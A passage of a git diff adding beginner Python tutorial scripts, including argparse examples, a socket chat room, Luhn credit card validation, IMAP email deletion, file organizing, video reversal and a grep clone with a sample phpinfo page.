excluding metadata. + data = list(img.getdata()) + + # Create a new image with the same mode and size but without metadata. + img_without_metadata = Image.new(img.mode, img.size) + img_without_metadata.putdata(data) + + # Save the new image over the original file, effectively removing metadata. + img_without_metadata.save(imgname) + + print(f"Metadata successfully cleared from '{imgname}'.") + +# Setup command line argument parsing +parser = argparse.ArgumentParser(description="Remove metadata from an image file.") +parser.add_argument("img", help="Image file from which to remove metadata") + +# Parse arguments +args = parser.parse_args() + +# If an image file is provided, clear its metadata +if args.img: + clear_all_metadata(args.img) diff --git a/python-for-multimedia/remove-metadata-from-images/requirements.txt b/python-for-multimedia/remove-metadata-from-images/requirements.txt new file mode 100644 index 00000000..5873a222 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/requirements.txt @@ -0,0 +1 @@ +Pillow \ No newline at end of file diff --git a/python-for-multimedia/reverse-video/README.md b/python-for-multimedia/reverse-video/README.md new file mode 100644 index 00000000..9a39941b --- /dev/null +++ b/python-for-multimedia/reverse-video/README.md @@ -0,0 +1,7 @@ +# [How to Reverse Videos in Python](https://www.thepythoncode.com/article/reverse-video-in-python) +To run this: +- `pip3 install -r requirements.txt` +- + ``` + $ python reverse_video.py Tenet-the-breach-scene-in-forward.mp4 + ``` diff --git a/python-for-multimedia/reverse-video/Tenet-the-breach-scene-in-forward.mp4 b/python-for-multimedia/reverse-video/Tenet-the-breach-scene-in-forward.mp4 new file mode 100644 index 00000000..9e326b99 Binary files /dev/null and b/python-for-multimedia/reverse-video/Tenet-the-breach-scene-in-forward.mp4 differ diff --git a/python-for-multimedia/reverse-video/requirements.txt b/python-for-multimedia/reverse-video/requirements.txt new file mode 100644 index 00000000..58c65c11 --- /dev/null +++ b/python-for-multimedia/reverse-video/requirements.txt @@ -0,0 +1,3 @@ +tqdm +moviepy +numpy \ No newline at end of file diff --git a/python-for-multimedia/reverse-video/reverse_video.py b/python-for-multimedia/reverse-video/reverse_video.py new file mode 100644 index 00000000..f12552ab --- /dev/null +++ b/python-for-multimedia/reverse-video/reverse_video.py @@ -0,0 +1,76 @@ +from moviepy.editor import VideoFileClip, ImageSequenceClip +import numpy as np +import os +from datetime import timedelta, datetime +from glob import glob +from tqdm import tqdm +import shutil + +# i.e if video of duration 30 seconds, saves 10 frame per second = 300 frames saved in total +SAVING_FRAMES_PER_SECOND = 30 + +def format_timedelta(td): + """Utility function to format timedelta objects in a cool way (e.g 00:00:20.05) + omitting microseconds and retaining milliseconds""" + result = str(td) + try: + result, ms = result.split(".") + except ValueError: + return result + ".00".replace(":", "-") + ms = int(ms) + ms = round(ms / 1e4) + return f"{result}.{ms:02}".replace(":", "-") + + +def extract_frames(video_file, verbose=1): + # load the video clip + video_clip = VideoFileClip(video_file) + # make a folder by the name of the video file + filename, _ = os.path.splitext(video_file) + if not os.path.isdir(filename): + os.mkdir(filename) + # if the SAVING_FRAMES_PER_SECOND is above video FPS, then set it to FPS (as maximum) + saving_frames_per_second = min(video_clip.fps, SAVING_FRAMES_PER_SECOND) + # if SAVING_FRAMES_PER_SECOND is set to 0, step is 1/fps, else 1/SAVING_FRAMES_PER_SECOND + step = 1 / video_clip.fps if saving_frames_per_second == 0 else 1 / saving_frames_per_second + iteration = np.arange(0, video_clip.duration, step) + if verbose: + iteration = tqdm(iteration, desc="Extracting video frames") + # iterate over each possible frame + for current_duration in iteration: + # format the file name and save it + frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)).replace(":", "-") + frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg") + # save the frame with the current duration + video_clip.save_frame(frame_filename, current_duration) + return filename, video_clip.fps + + + +def reverse_video(frames_path, video_fps, remove_extracted_frames=True): + frame_files = glob(os.path.join(frames_path, "*")) + # sort by duration in descending order + frame_files = sorted(frame_files, key=lambda d: datetime.strptime(d.split("frame")[1], "%H-%M-%S.%f.jpg"), reverse=True) + # calculate the FPS, getting the minimum between the original FPS and the parameter we set + saving_frames_per_second = min(video_fps, SAVING_FRAMES_PER_SECOND) + if saving_frames_per_second == 0: + # if the parameter is set to 0, automatically set it to the original video fps + saving_frames_per_second = video_fps + print("Saving the video with FPS:", saving_frames_per_second) + # load the frames into a image sequence clip (MoviePy) + image_sequence_clip = ImageSequenceClip(frame_files, fps=saving_frames_per_second) + # write the video file to disk + output_filename = f"{frames_path}-inverted.mp4" + image_sequence_clip.write_videofile(output_filename) + if remove_extracted_frames: + # if set to True, then remove the folder that contain the extracted frames + shutil.rmtree(frames_path) + + + +if __name__ == "__main__": + import sys + video_file = sys.argv[1] + frames_folder_path, video_fps = extract_frames(video_file) + reverse_video(frames_folder_path, video_fps=video_fps) + diff --git a/python-standard-library/argparse/1_simple_example.py b/python-standard-library/argparse/1_simple_example.py new file mode 100644 index 00000000..cbd22bbf --- /dev/null +++ b/python-standard-library/argparse/1_simple_example.py @@ -0,0 +1,7 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('input', help='Input file to process.') + +args = parser.parse_args() +print(f'Processing file: {args.input}') diff --git a/python-standard-library/argparse/2.2_default_and_required.py b/python-standard-library/argparse/2.2_default_and_required.py new file mode 100644 index 00000000..f4d4c276 --- /dev/null +++ b/python-standard-library/argparse/2.2_default_and_required.py @@ -0,0 +1,10 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('input', help='Input file to process.') +# parser.add_argument('-o', '--output', default='output.txt', help='Output file.') +parser.add_argument('-o', '--output', required=True, help='Output file.') + +args = parser.parse_args() +print(f'Processing file: {args.input}') +print(f"Writing to file: {args.output}") diff --git a/python-standard-library/argparse/2.3_choices.py b/python-standard-library/argparse/2.3_choices.py new file mode 100644 index 00000000..01db0c06 --- /dev/null +++ b/python-standard-library/argparse/2.3_choices.py @@ -0,0 +1,9 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('input', help='Input file to process.') +parser.add_argument('-m', '--mode', choices=['add', 'subtract', 'multiply', 'divide'], help='Calculation mode.') + +args = parser.parse_args() +print(f'Processing file: {args.input}') +print(f"Mode: {args.mode}") diff --git a/python-standard-library/argparse/2.5_nargs.py b/python-standard-library/argparse/2.5_nargs.py new file mode 100644 index 00000000..88b9be93 --- /dev/null +++ b/python-standard-library/argparse/2.5_nargs.py @@ -0,0 +1,10 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('--values', nargs=3) +# parser.add_argument('--value', nargs='?', default='default_value') +# parser.add_argument('--values', nargs='*') +# parser.add_argument('--values', nargs='+') + +args = parser.parse_args() +print(f"Values: {args.values}") diff --git a/python-standard-library/argparse/2.6_builtin_actions.py b/python-standard-library/argparse/2.6_builtin_actions.py new file mode 100644 index 00000000..256932e8 --- /dev/null +++ b/python-standard-library/argparse/2.6_builtin_actions.py @@ -0,0 +1,13 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('--foo', action='https://github.com/store', help='Store the value of foo.') +parser.add_argument('--enable', action='https://github.com/store_true', help='Enable the feature.') +parser.add_argument('--disable', action='https://github.com/store_false', help='Disable the feature.') +parser.add_argument('--level', action='https://github.com/store_const', const='advanced', help='Set level to advanced.') +parser.add_argument('--values', action='https://github.com/append', help='Append values to a list.') +parser.add_argument('--add_const', action='https://github.com/append_const', const=42, help='Add 42 to the list.') +parser.add_argument('-v', '--verbose', action='https://github.com/count', help='Increase verbosity level.') +args = parser.parse_args() +print(f"Values: {args.values}") +print(f"Verbosity: {args.verbose}") diff --git a/python-standard-library/argparse/2.6_custom_actions.py b/python-standard-library/argparse/2.6_custom_actions.py new file mode 100644 index 00000000..86d15392 --- /dev/null +++ b/python-standard-library/argparse/2.6_custom_actions.py @@ -0,0 +1,16 @@ +import argparse + +class CustomAction(argparse.Action): + def __call__(self, parser, namespace, values, option_string=None): + # Perform custom processing on the argument values + processed_values = [value.upper() for value in values] + + # Set the attribute on the namespace object + setattr(namespace, self.dest, processed_values) + +# Set up argument parser and add the custom action +parser = argparse.ArgumentParser(description='Custom argument action example.') +parser.add_argument('-n', '--names', nargs='+', action=CustomAction, help='A list of names to be processed.') + +args = parser.parse_args() +print(args.names) diff --git a/python-standard-library/argparse/2.7_argument_types.py b/python-standard-library/argparse/2.7_argument_types.py new file mode 100644 index 00000000..d595a6fd --- /dev/null +++ b/python-standard-library/argparse/2.7_argument_types.py @@ -0,0 +1,6 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument("-r", "--ratio", type=float) +args = parser.parse_args() +print(f"Ratio: {args.ratio}") diff --git a/python-standard-library/argparse/3.3_subcommand_example.py b/python-standard-library/argparse/3.3_subcommand_example.py new file mode 100644 index 00000000..55088d6c --- /dev/null +++ b/python-standard-library/argparse/3.3_subcommand_example.py @@ -0,0 +1,10 @@ +import argparse + +parser = argparse.ArgumentParser(description='A subcommand example.') +subparsers = parser.add_subparsers(help='Subcommand help') + +list_parser = subparsers.add_parser('list', help='List items') +add_parser = subparsers.add_parser('add', help='Add an item') +add_parser.add_argument('item', help='Item to add') + +args = parser.parse_args() diff --git a/python-standard-library/argparse/4.1_file_renamer.py b/python-standard-library/argparse/4.1_file_renamer.py new file mode 100644 index 00000000..0d5f2502 --- /dev/null +++ b/python-standard-library/argparse/4.1_file_renamer.py @@ -0,0 +1,46 @@ +import argparse +import os + +# Rename function +def rename_files(args): + # Your file renaming logic here + print(f"Renaming files in {args.path}...") + print(f"Prefix: {args.prefix}") + print(f"Suffix: {args.suffix}") + print(f"Replace: {args.replace}") + os.chdir(args.path) + for file in os.listdir(): + # Get the file name and extension + file_name, file_ext = os.path.splitext(file) + # Add prefix + if args.prefix: + file_name = f"{args.prefix}{file_name}" + # Add suffix + if args.suffix: + file_name = f"{file_name}{args.suffix}" + # Replace substring + if args.replace: + file_name = file_name.replace(args.replace[0], args.replace[1]) + # Rename the file + print(f"Renaming {file} to {file_name}{file_ext}") + os.rename(file, f"{file_name}{file_ext}") + +# custom type for checking if a path exists +def path_exists(path): + if os.path.exists(path): + return path + else: + raise argparse.ArgumentTypeError(f"Path {path} does not exist.") + + +# Set up argument parser +parser = argparse.ArgumentParser(description='File renaming tool.') +parser.add_argument('path', type=path_exists, help='Path to the folder containing the files to rename.') +parser.add_argument('-p', '--prefix', help='Add a prefix to each file name.') +parser.add_argument('-s', '--suffix', help='Add a suffix to each file name.') +parser.add_argument('-r', '--replace', nargs=2, help='Replace a substring in each file name. Usage: -r old_string new_string') + +args = parser.parse_args() + +# Call the renaming function +rename_files(args) diff --git a/python-standard-library/argparse/4.2_simple_calculator.py b/python-standard-library/argparse/4.2_simple_calculator.py new file mode 100644 index 00000000..2f4ea64d --- /dev/null +++ b/python-standard-library/argparse/4.2_simple_calculator.py @@ -0,0 +1,42 @@ +import argparse + +# Operation functions +def add(args): + print(args.x + args.y) + +def subtract(args): + print(args.x - args.y) + +def multiply(args): + print(args.x * args.y) + +def divide(args): + print(args.x / args.y) + +# Set up argument parser +parser = argparse.ArgumentParser(description='Command-line calculator.') +subparsers = parser.add_subparsers() + +# Add subcommands +add_parser = subparsers.add_parser('add', help='Add two numbers.') +add_parser.add_argument('x', type=float, help='First number.') +add_parser.add_argument('y', type=float, help='Second number.') +add_parser.set_defaults(func=add) + +subtract_parser = subparsers.add_parser('subtract', help='Subtract two numbers.') +subtract_parser.add_argument('x', type=float, help='First number.') +subtract_parser.add_argument('y', type=float, help='Second number.') +subtract_parser.set_defaults(func=subtract) + +multiply_parser = subparsers.add_parser('multiply', help='Multiply two numbers.') +multiply_parser.add_argument('x', type=float, help='First number.') +multiply_parser.add_argument('y', type=float, help='Second number.') +multiply_parser.set_defaults(func=multiply) + +divide_parser = subparsers.add_parser('divide', help='Divide two numbers.') +divide_parser.add_argument('x', type=float, help='First number.') +divide_parser.add_argument('y', type=float, help='Second number.') +divide_parser.set_defaults(func=divide) + +args = parser.parse_args() +args.func(args) diff --git a/python-standard-library/argparse/README.md b/python-standard-library/argparse/README.md new file mode 100644 index 00000000..a0565d61 --- /dev/null +++ b/python-standard-library/argparse/README.md @@ -0,0 +1,4 @@ +# [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python) +The `argparse` module in Python is a built-in module that helps us to parse command-line arguments. It is a very useful module that allows us to easily write user-friendly command-line interfaces. In this tutorial, we will learn how to use the `argparse` module in Python. + +The code is available for each section, so you can run it and see the output. \ No newline at end of file diff --git a/python-standard-library/argparse/data/item1.txt b/python-standard-library/argparse/data/item1.txt new file mode 100644 index 00000000..02103c6d --- /dev/null +++ b/python-standard-library/argparse/data/item1.txt @@ -0,0 +1 @@ +This is a text file \ No newline at end of file diff --git a/python-standard-library/argparse/data/item2.txt b/python-standard-library/argparse/data/item2.txt new file mode 100644 index 00000000..5d8fb96c --- /dev/null +++ b/python-standard-library/argparse/data/item2.txt @@ -0,0 +1 @@ +Another text file is created in the same directory as the original file. \ No newline at end of file diff --git a/python-standard-library/chat-application/README.md b/python-standard-library/chat-application/README.md new file mode 100644 index 00000000..f0e40149 --- /dev/null +++ b/python-standard-library/chat-application/README.md @@ -0,0 +1,6 @@ +# [How to Make a Chat Application in Python](https://www.thepythoncode.com/article/make-a-chat-room-application-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Run `server.py` first to initialize the server. +- Run one or more `client.py` instances and chat! +- If you want to run `client.py` from another machine, make sure you change `SERVER_HOST` in `client.py` to the server's IP address. \ No newline at end of file diff --git a/python-standard-library/chat-application/client.py b/python-standard-library/chat-application/client.py new file mode 100644 index 00000000..8677efda --- /dev/null +++ b/python-standard-library/chat-application/client.py @@ -0,0 +1,61 @@ +import socket +import random +from threading import Thread +from datetime import datetime +from colorama import Fore, init, Back + +# init colors +init() + +# set the available colors +colors = [Fore.BLUE, Fore.CYAN, Fore.GREEN, Fore.LIGHTBLACK_EX, + Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX, + Fore.LIGHTMAGENTA_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX, + Fore.LIGHTYELLOW_EX, Fore.MAGENTA, Fore.RED, Fore.WHITE, Fore.YELLOW +] + +# choose a random color for the client +client_color = random.choice(colors) + +# server's IP address +# if the server is not on this machine, +# put the private (network) IP address (e.g 192.168.1.2) +SERVER_HOST = "127.0.0.1" +SERVER_PORT = 5002 # server's port +separator_token = "" # we will use this to separate the client name & message + +# initialize TCP socket +s = socket.socket() +print(f"[*] Connecting to {SERVER_HOST}:{SERVER_PORT}...") +# connect to the server +s.connect((SERVER_HOST, SERVER_PORT)) +print("[+] Connected.") +# prompt the client for a name +name = input("Enter your name: ") + +def listen_for_messages(): + while True: + message = s.recv(1024).decode() + print("\n" + message) + +# make a thread that listens for messages to this client & print them +t = Thread(target=listen_for_messages) +# make the thread daemon so it ends whenever the main thread ends +t.daemon = True +# start the thread +t.start() + +while True: + # input message we want to send to the server + to_send = input() + # a way to exit the program + if to_send.lower() == 'q': + break + # add the datetime, name & the color of the sender + date_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + to_send = f"{client_color}[{date_now}] {name}{separator_token}{to_send}{Fore.RESET}" + # finally, send the message + s.send(to_send.encode()) + +# close the socket +s.close() \ No newline at end of file diff --git a/python-standard-library/chat-application/requirements.txt b/python-standard-library/chat-application/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/python-standard-library/chat-application/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/python-standard-library/chat-application/server.py b/python-standard-library/chat-application/server.py new file mode 100644 index 00000000..db99e292 --- /dev/null +++ b/python-standard-library/chat-application/server.py @@ -0,0 +1,62 @@ +import socket +from threading import Thread + +# server's IP address +SERVER_HOST = "0.0.0.0" +SERVER_PORT = 5002 # port we want to use +separator_token = "" # we will use this to separate the client name & message + +# initialize list/set of all connected client's sockets +client_sockets = set() +# create a TCP socket +s = socket.socket() +# make the port as reusable port +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +# bind the socket to the address we specified +s.bind((SERVER_HOST, SERVER_PORT)) +# listen for upcoming connections +s.listen(5) +print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}") + +def listen_for_client(cs): + """ + This function keep listening for a message from `cs` socket + Whenever a message is received, broadcast it to all other connected clients + """ + while True: + try: + # keep listening for a message from `cs` socket + msg = cs.recv(1024).decode() + except Exception as e: + # client no longer connected + # remove it from the set + print(f"[!] Error: {e}") + client_sockets.remove(cs) + else: + # if we received a message, replace the + # token with ": " for nice printing + msg = msg.replace(separator_token, ": ") + # iterate over all connected sockets + for client_socket in client_sockets: + # and send the message + client_socket.send(msg.encode()) + + +while True: + # we keep listening for new connections all the time + client_socket, client_address = s.accept() + print(f"[+] {client_address} connected.") + # add the new connected client to connected sockets + client_sockets.add(client_socket) + # start a new thread that listens for each client's messages + t = Thread(target=listen_for_client, args=(client_socket,)) + # make the thread daemon so it ends whenever the main thread ends + t.daemon = True + # start the thread + t.start() + +# close client sockets +for cs in client_sockets: + cs.close() +# close server socket +s.close() \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/README.md b/python-standard-library/credit-card-validation/README.md new file mode 100644 index 00000000..bee74fdd --- /dev/null +++ b/python-standard-library/credit-card-validation/README.md @@ -0,0 +1 @@ +# [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python) \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/credit_card_validation.py b/python-standard-library/credit-card-validation/credit_card_validation.py new file mode 100644 index 00000000..57a82f5b --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_card_validation.py @@ -0,0 +1,85 @@ +import argparse # Import argparse for command-line argument parsing +import re # Import re for regular expression matching + +# Validate credit card number using Luhn Algorithm +def luhn_algorithm(card_number): + def digits_of(n): + return [int(d) for d in str(n)] # Convert each character in the number to an integer + + digits = digits_of(card_number) # Get all digits of the card number + odd_digits = digits[-1::-2] # Get digits from the right, skipping one digit each time (odd positions) + even_digits = digits[-2::-2] # Get every second digit from the right (even positions) + + checksum = sum(odd_digits) # Sum all odd position digits + for d in even_digits: + checksum += sum(digits_of(d*2)) # Double each even position digit and sum the resulting digits + + return checksum % 10 == 0 # Return True if checksum modulo 10 is 0 + + +# Function to check credit card number using Luhn's alogorithm +def check_credit_card_number(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + if not card_number.isdigit(): # Check if the card number contains only digits + return False + return luhn_algorithm(card_number) # Validate using the Luhn algorithm + +# Function to get the card type based on card number using RegEx +def get_card_type(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + card_types = { + "Visa": r"^4[0-9]{12}(?:[0-9]{3})?$", # Visa: Starts with 4, length 13 or 16 + "MasterCard": r"^5[1-5][0-9]{14}$", # MasterCard: Starts with 51-55, length 16 + "American Express": r"^3[47][0-9]{13}$", # AmEx: Starts with 34 or 37, length 15 + "Discover": r"^6(?:011|5[0-9]{2})[0-9]{12}$", # Discover: Starts with 6011 or 65, length 16 + "JCB": r"^(?:2131|1800|35\d{3})\d{11}$", # JCB: Starts with 2131, 1800, or 35, length 15 or 16 + "Diners Club": r"^3(?:0[0-5]|[68][0-9])[0-9]{11}$", # Diners Club: Starts with 300-305, 36, or 38, length 14 + "Maestro": r"^(5018|5020|5038|56|57|58|6304|6759|676[1-3])\d{8,15}$", # Maestro: Various starting patterns, length 12-19 + "Verve": r"^(506[01]|507[89]|6500)\d{12,15}$" # Verve: Starts with 5060, 5061, 5078, 5079, or 6500, length 16-19 + } + + for card_type, pattern in card_types.items(): + if re.match(pattern, card_number): # Check if card number matches the pattern + return card_type + return "Unknown" # Return Unknown if no pattern matches + + +# Processing a file containing card numbers. +def process_file(file_path): + + try: + with open(file_path, 'r') as file: # Open the file for reading + card_numbers = file.readlines() # Read all lines from the file + results = {} + for card_number in card_numbers: + card_number = card_number.strip() # Remove any leading/trailing whitespace + is_valid = check_credit_card_number(card_number) # Validate card number + card_type = get_card_type(card_number) # Detect card type + results[card_number] = (is_valid, card_type) # Store result + return results + except Exception as e: + print(f"Error reading file: {e}") # Print error message if file cannot be read + return None + + +def main(): + parser = argparse.ArgumentParser(description="Check if a credit card number is legitimate and identify its type using the Luhn algorithm.") + parser.add_argument('-n', '--number', type=str, help="A single credit card number to validate.") # Argument for single card number + parser.add_argument('-f', '--file', type=str, help="A file containing multiple credit card numbers to validate.") # Argument for file input + + args = parser.parse_args() # Parse command-line arguments + + if args.number: + is_valid = check_credit_card_number(args.number) # Validate single card number + card_type = get_card_type(args.number) # Detect card type + print(f"[!] Credit card number {args.number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print result + + if args.file: + results = process_file(args.file) # Process file with card numbers + if results: + for card_number, (is_valid, card_type) in results.items(): + print(f"[!] Credit card number {card_number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print results for each card number + +# Execute tha main function +if __name__ == '__main__': + main() diff --git a/python-standard-library/credit-card-validation/credit_cards.txt b/python-standard-library/credit-card-validation/credit_cards.txt new file mode 100644 index 00000000..b0a33fe6 --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_cards.txt @@ -0,0 +1,3 @@ +4111111111111111 +5555555555554444 +378282246310005 \ No newline at end of file diff --git a/python-standard-library/daemon-thread/README.md b/python-standard-library/daemon-thread/README.md new file mode 100644 index 00000000..9a3e7bce --- /dev/null +++ b/python-standard-library/daemon-thread/README.md @@ -0,0 +1 @@ +# [Daemon Threads in Python](https://www.thepythoncode.com/article/daemon-threads-in-python) \ No newline at end of file diff --git a/python-standard-library/daemon-thread/daemon_thread.py b/python-standard-library/daemon-thread/daemon_thread.py new file mode 100644 index 00000000..74a30ad0 --- /dev/null +++ b/python-standard-library/daemon-thread/daemon_thread.py @@ -0,0 +1,18 @@ +import threading +import time + +def func_1(): + while True: + print(f"[{threading.current_thread().name}] Printing this message every 2 seconds") + time.sleep(2) + +# initiate the thread with daemon set to True +daemon_thread = threading.Thread(target=func_1, name="daemon-thread", daemon=True) +# or +# daemon_thread.daemon = True +# or +# daemon_thread.setDaemon(True) +daemon_thread.start() +# sleep for 10 seconds and end the main thread +time.sleep(4) +# the main thread ends \ No newline at end of file diff --git a/python-standard-library/daemon-thread/normal_thread.py b/python-standard-library/daemon-thread/normal_thread.py new file mode 100644 index 00000000..8de0c7d3 --- /dev/null +++ b/python-standard-library/daemon-thread/normal_thread.py @@ -0,0 +1,15 @@ +import threading +import time + +def func(): + while True: + print(f"[{threading.current_thread().name}] Printing this message every 2 seconds") + time.sleep(2) + +# initiate the thread to call the above function +normal_thread = threading.Thread(target=func, name="normal_thread") +# start the thread +normal_thread.start() +# sleep for 4 seconds and end the main thread +time.sleep(4) +# the main thread ends \ No newline at end of file diff --git a/python-standard-library/deleting-emails/README.md b/python-standard-library/deleting-emails/README.md new file mode 100644 index 00000000..e9583344 --- /dev/null +++ b/python-standard-library/deleting-emails/README.md @@ -0,0 +1,6 @@ +# [How to Delete Emails in Python](https://www.thepythoncode.com/article/deleting-emails-in-python) +To run this: +- Change `username` and `password` for real email credentials, edit the `imap.search()` line for your use case and run `delete_emails.py`: + ``` + python delete_emails.py + ``` \ No newline at end of file diff --git a/python-standard-library/deleting-emails/delete_emails.py b/python-standard-library/deleting-emails/delete_emails.py new file mode 100644 index 00000000..7725faac --- /dev/null +++ b/python-standard-library/deleting-emails/delete_emails.py @@ -0,0 +1,49 @@ +import imaplib +import email +from email.header import decode_header + +# account credentials +username = "youremailaddress@provider.com" +password = "yourpassword" + +# create an IMAP4 class with SSL +imap = imaplib.IMAP4_SSL("imap.gmail.com") +# authenticate +imap.login(username, password) +# select the mailbox I want to delete in +# if you want SPAM, use imap.select("SPAM") instead +imap.select("INBOX") +# search for specific mails by sender +status, messages = imap.search(None, 'FROM "googlealerts-noreply@google.com"') +# to get all mails +# status, messages = imap.search(None, "ALL") +# to get mails by subject +# status, messages = imap.search(None, 'SUBJECT "Thanks for Subscribing to our Newsletter !"') +# to get mails after a specific date +# status, messages = imap.search(None, 'SINCE "01-JAN-2020"') +# to get mails before a specific date +# status, messages = imap.search(None, 'BEFORE "01-JAN-2020"') +# convert messages to a list of email IDs +messages = messages[0].split(b' ') +for mail in messages: + _, msg = imap.fetch(mail, "(RFC822)") + # you can delete the for loop for performance if you have a long list of emails + # because it is only for printing the SUBJECT of target email to delete + for response in msg: + if isinstance(response, tuple): + msg = email.message_from_bytes(response[1]) + # decode the email subject + subject = decode_header(msg["Subject"])[0][0] + if isinstance(subject, bytes): + # if it's a bytes type, decode to str + subject = subject.decode() + print("Deleting", subject) + # mark the mail as deleted + imap.store(mail, "+FLAGS", "\\Deleted") +# permanently remove mails that are marked as deleted +# from the selected mailbox (in this case, INBOX) +imap.expunge() +# close the mailbox +imap.close() +# logout from the account +imap.logout() \ No newline at end of file diff --git a/python-standard-library/extension-separator/README.md b/python-standard-library/extension-separator/README.md new file mode 100644 index 00000000..92aa986d --- /dev/null +++ b/python-standard-library/extension-separator/README.md @@ -0,0 +1 @@ +# [How to Organize Files by Extension in Python](https://www.thepythoncode.com/article/organize-files-by-extension-with-python) diff --git a/python-standard-library/extension-separator/extension_separator.py b/python-standard-library/extension-separator/extension_separator.py new file mode 100644 index 00000000..9a50058c --- /dev/null +++ b/python-standard-library/extension-separator/extension_separator.py @@ -0,0 +1,76 @@ +import os +import glob +import shutil + +# dictionary mapping each extension with its corresponding folder +# For example, 'jpg', 'png', 'ico', 'gif', 'svg' files will be moved to 'images' folder +# feel free to change based on your needs +extensions = { + "jpg": "images", + "png": "images", + "ico": "images", + "gif": "images", + "svg": "images", + "jfif": "images", + "sql": "sql", + "exe": "programs", + "msi": "programs", + "pdf": "pdf", + "epub": "epub", + "xlsx": "excel", + "csv": "excel", + "rar": "archive", + "zip": "archive", + "gz": "archive", + "tar": "archive", + "7z": "archive", + "docx": "word", + "torrent": "torrent", + "txt": "text", + "log": "text", + "md": "text", + "ipynb": "python", + "py": "python", + "pptx": "powerpoint", + "ppt": "powerpoint", + "mp3": "audio", + "wav": "audio", + "mp4": "video", + "m3u8": "video", + "webm": "video", + "ts": "video", + "avi": "video", + "json": "json", + "css": "web", + "js": "web", + "html": "web", + "webp": "web", + "apk": "apk", + "sqlite3": "sqlite3", +} + + +if __name__ == "__main__": + path = r"E:\Downloads" + # setting verbose to 1 (or True) will show all file moves + # setting verbose to 0 (or False) will show basic necessary info + verbose = 0 + for extension, folder_name in extensions.items(): + # get all the files matching the extension + files = glob.glob(os.path.join(path, f"*.{extension}")) + print(f"[*] Found {len(files)} files with {extension} extension") + if not os.path.isdir(os.path.join(path, folder_name)) and files: + # create the folder if it does not exist before + print(f"[+] Making {folder_name} folder") + os.mkdir(os.path.join(path, folder_name)) + for file in files: + # for each file in that extension, move it to the correponding folder + basename = os.path.basename(file) + dst = os.path.join(path, folder_name, basename) + if verbose: + print(f"[*] Moving {file} to {dst}") + try: + shutil.move(file, dst) + except Exception as e: + print(f"[!] Error: {e}") + continue \ No newline at end of file diff --git a/python-standard-library/generating-random-data/generate.py b/python-standard-library/generating-random-data/generate.py index ea6bf2ac..655c9fc6 100644 --- a/python-standard-library/generating-random-data/generate.py +++ b/python-standard-library/generating-random-data/generate.py @@ -3,6 +3,8 @@ import string import secrets +import numpy as np + # generate random integer between a and b (including a and b) randint = random.randint(1, 500) print("randint:", randint) @@ -19,6 +21,14 @@ choices = random.choices(range(1000), k=5) print("choices:", choices) +# get a random vector of size 20 +vector = np.random.random((30,)) +print("vector:\n", vector) + +# get a random matrix of size (3, 3) in the range [0, 100] +matrix = np.random.random((3, 3)) * 100 +print("matrix:\n", matrix) + # generate a random floating point number from 0.0 <= x <= 1.0 randfloat = random.random() print("randfloat between 0.0 and 1.0:", randfloat) diff --git a/python-standard-library/grep-clone/README.md b/python-standard-library/grep-clone/README.md new file mode 100644 index 00000000..e6023461 --- /dev/null +++ b/python-standard-library/grep-clone/README.md @@ -0,0 +1 @@ +# [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python) \ No newline at end of file diff --git a/python-standard-library/grep-clone/grep_python.py b/python-standard-library/grep-clone/grep_python.py new file mode 100644 index 00000000..b3f3fa14 --- /dev/null +++ b/python-standard-library/grep-clone/grep_python.py @@ -0,0 +1,33 @@ +# Import the necessary libraries. +import re, sys +from colorama import init, Fore + +# Initialize colorama. +init() + +# Grep function. +def grep(pattern, filename): + try: + found_match = False + with open(filename, 'r') as file: + for line in file: + if re.search(pattern, line): + # Print matching lines in green. + print(Fore.GREEN + line.strip() + "\n") # We are including new lines to enhance readability. + found_match = True + if not found_match: + # Print message in red if no content is found. + print(Fore.RED + f"No content found matching the pattern '{pattern}'.") + except FileNotFoundError: + # Print error message in red if the file is not found. + print(Fore.RED + f"File '{filename}' not found.") + + +if len(sys.argv) != 3: + # Print usage message in red if the number of arguments is incorrect. + print(Fore.RED + "Usage: python grep_python.py ") + sys.exit(1) + +pattern = sys.argv[1] +filename = sys.argv[2] +grep(pattern, filename) diff --git a/python-standard-library/grep-clone/phpinfo.php b/python-standard-library/grep-clone/phpinfo.php new file mode 100644 index 00000000..6d4df079 --- /dev/null +++ b/python-standard-library/grep-clone/phpinfo.php @@ -0,0 +1,800 @@ + + + +PHP 7.4.3-4ubuntu2.20 - phpinfo() +
+ + +
+PHP logo

PHP Version 7.4.3-4ubuntu2.20

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
System Linux cf00c9c42b69 4.14.336-257.562.amzn2.x86_64 #1 SMP Sat Feb 24 09:50:35 UTC 2024 x86_64
Build Date Feb 21 2024 13:54:34
Server API CGI/FastCGI
